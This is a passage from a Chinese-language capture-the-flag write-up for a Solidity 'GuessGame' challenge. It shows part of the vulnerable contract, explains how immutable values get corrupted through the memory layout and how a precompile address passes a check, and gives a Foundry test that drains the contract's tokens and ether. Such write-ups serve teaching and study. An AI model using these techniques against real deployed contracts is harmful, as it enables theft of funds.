uint256 y = ( uint160(address(msg.sender)) + random01 + random02 + random03 + _random02) & 0xff;
require(random02 == y,"wrong number02");

require(uint160(_random03) < uint160(0x0000000000fFff8545DcFcb03fCB875F56bedDc4));
(,bytes memory data) = address(uint160(_random03)).staticcall("Fallbacker()");
require(random03 == data.length,"wrong number03");

require(random04.number() == _random04, "wrong number04");

mytoken.transfer(msg.sender,100);
payable(msg.sender).transfer(address(this).balance);

return true;
}

function isSolved() external view returns(bool){
return mytoken.balanceOf(address(this)) == 0;
}

}


contract SetUp {

A public a ;
GuessGame public guessGame;

constructor() payable {
a = new A();
guessGame = new GuessGame(a);
}

function isSolved() public view returns(bool) {
return guessGame.isSolved();
}
}

Analysis

这道题让我们将GuessGame的所有token掏空,我们可以看到这道题的几个random是用immutable来定义的,immutable变量是将变量值存储在字节码中,其在构造函数中初始化时是通过内存来修改的,所以在构造函数中调用的pureFunc()将前三个数01 02 03的值修改为1 2 32了,为什么修改的是这三个变量,内存的布局中空闲指针最初指向0x80,而0x00-0x3f用来暂存哈希方法,0x40-0x5f用来存储当前分匹配的内存大小,0x60-0x7f是0 值插槽,是用来对动态内存数组进行初始化,且永远不会写入数据。

这时我们看guess()函数,第一步将msg.value存入_randim01中并比较
random01arr数组长度是否相等,这一步我们需要修改arr数组的长度让其与random01的值相等,我们只需要让_random01=0x60,并发送1 wei即可

第二步是让uint256 y = ( uint160(address(msg.sender)) + random01 + random02 + random03 + _random02) & 0xff;random02相等,也就是等于2,我们只需要通过(2-(address+1+2+0x20))&0xff计算即可得到

第三步是让uint160(_random03) < uint160(0x0000000000fFff8545DcFcb03fCB875F56bedDc4)并且返回一个32字节的数据,看到这么小的地址我们可以想到预编译合约,我们可以利用0x2这个地址,他会返还一串哈希加密的结果,正好是32字节。

第四步让random04.number() == _random04,查看其他合约可知为10

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/A.sol";

contract ATest is Test {
SetUp public _setUp;

function setUp() external {
_setUp = new SetUp();
}

function test_issolved() public {
GuessGame game = _setUp.guessGame();

uint256 random2 = 256 - ((uint160(address(this)) + 1 + 2 + 32) & 0xff) + 2;
game.guess{value: 1}(0x60, random2, 0x2, 10);

assertTrue(_setUp.isSolved());
}

receive() external payable {}
}